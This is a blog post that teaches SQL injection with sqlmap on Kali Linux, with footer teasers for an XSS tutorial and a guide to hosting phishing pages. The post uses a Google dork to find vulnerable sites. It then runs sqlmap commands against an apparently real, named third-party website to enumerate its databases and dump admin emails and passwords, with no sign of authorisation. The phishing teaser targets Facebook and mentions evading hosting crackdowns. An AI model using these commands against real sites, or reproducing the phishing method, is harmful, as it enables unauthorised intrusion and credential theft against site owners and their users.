Skip to main content

SQL Injection to hack a website and database using SQLMAP tool in Kali Linux

Introduction about SQL injection:-

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application’s software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL databases. In this guide, I will show you how to SQLMAP SQL Injection on Kali Linux to hack a website (more specifically Database) and extract usernames and passwords on Kali Linux.

SQLMAP:-

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Step 1: Find a Vulnerable website

1.1 We use Google Dork string to find Vulnerable SQLMAP SQL injectable website.

We are going to use Google Dork string is “ inurl:index.php?id= ”

1.2 One of the search result show like this:

“ http://www.tunesoman.com/product.php?id=200 “

Screenshot:-

1.3 Now just add a single quotation mark ‘ at the end of the URL

http://www.tunesoman.com/product.php?id=200

1.4 If the page returns an SQL error, the page is vulnerable to SQL injection.

1.5 See the example of sql error in below screenshot:-

Step 2: Open SQLMAP

2.1 Open SQLMAP in the terminal, If you want to gain more information about SQLMAP then type “sqlmap — help” it will give you all the options which are used while performing SQLMAP let’s see the screenshot below

2.2 To determine the databases behind the web site then we need to type on terminal:-

sqlmap –u the enire URL of the vulnerable web page — dbs

In our case:-

sqlmap –u http://www.tunesoman.com/product.php?id=200 — dbs

Note: 1] -u option is used for url

2] –dbs is used to enumerate DBMS databases

2.3 When we run this command against http://www.tunesoman.com/product.php?id=200 we get the results like those below

Screenshot:-

2.4 Notice that I have circled the two available databases, information_schema and db363851433. Information schema is included in every MySQL installation and it includes information on all the objects in the MySQL instances, But not data of interest. Although it can be beneficial to explore those databases to find objects in all the databases in the instance, we will focus our attention on the database here, db363851433 that may have some valuable information. Let’s explore it further.

2.5 We can retrieve all the tables which are present in database db363851433 by using following command

sqlmap –u http://www.tunesoman.com/product.php?id=200 –D db363851433 –tables

Screenshot:-

2.6 Now I want to gain more information about admin_user table then type the following command

sqlmap –u http://www.tunesoman.com/product.php?id=200 –D db363851433 –T admin_user –columns

Note:- above command will give us all the columns present in admin_user

Screenshot:-

2.7 Now I want to gain the attribute values such as “ admin_email , admin_pass ” present in the table “ admin_user “

Then type the following command:-

sqlmap –u http://www.tunesoman.com/product.php?id=200 –D db363851433 –T admin_user –C admin_email,admin_pass –dump

Screenshot:-

2.8 It will give us output as an entries data value which is present in admin_email, admin_pass

Popular posts from this blog

Cross Site Scripting (XSS) Attack Tutorial

A Complete Guide to Cross Site Scripting (XSS) Attack,  how to prevent it, and XSS testing. Cross Site Scripting (XSS) is one of the most popular and vulnerable attacks which is known by every advanced tester. It is considered as one of the riskiest attacks for the web applications and can bring harmful consequences too.  XSS is often compared with similar client-side attacks, as client-side languages are mostly being used during this attack. However, XSS attack is considered riskier, because of its ability to damage even less vulnerable technologies. This XSS attack tutorial, we will give you a complete overview of its types, tools and preventive measures with perfect examples in simple terms for your easy understanding. Introduction to XSS Attack Cross Site Scripting attack is a malicious code injection, which will be executed in the victim’s browser. Malicious script can be saved on the web server and executed every time when the user calls the appropriate functionality. It can also

What is love?

Love is a kind of  chemical reaction , so you could never tell why it happens and you could never try to stop it by your own will. Love must have existed a long time before human beings developed language. People always want to find a definite answer about what is love, so they keep asking each other and themselves. However, there is no person who can define what love is. Every person has his or her own understanding about love, and a single person’s understanding about love may differ by time. Love is a general feeling of deep caring that does not change (although the form of expressing it may alter). I do not believe that we can force ourselves to love or not to love someone. We have the capacity to love many people. For example, you can love your children, parents, friends, and ex-spouse. Being “in love” with someone means that you feel a deep caring, you desire them sexually, and you want to spend lots of time with them. If you truly love them, then you may change the latter two bu

Complete Guide to Creating and Hosting a Phishing Page for Beginners

Recently I have come across many guides about creating phishing pages. Although the principles behind each guide is similar, most of the hosting solutions provided in the guide does not work anymore due to an increase in the crackdown of phishing pages by the hosting companies. In this guide, I will go through every step necessary to create and host a phishing page of your choice. Enjoy! Step 1 Download the HTML Index of the Target Webpage To start off, you need to obtain the HTML index of the page. There are various methods of doing this, there are even templates online for popular sites. In this tutorial, I am going to use the most basic way in order to be as noob-friendly as possible. Navigate to Your Webpage In this tutorial, I am going to phish Facebook. View the Source of the Webpage. Depending on your browser, there may be different methods. Normally it is done by right clicking the site and clicking "View Source". I have done that on my browser and a windows should co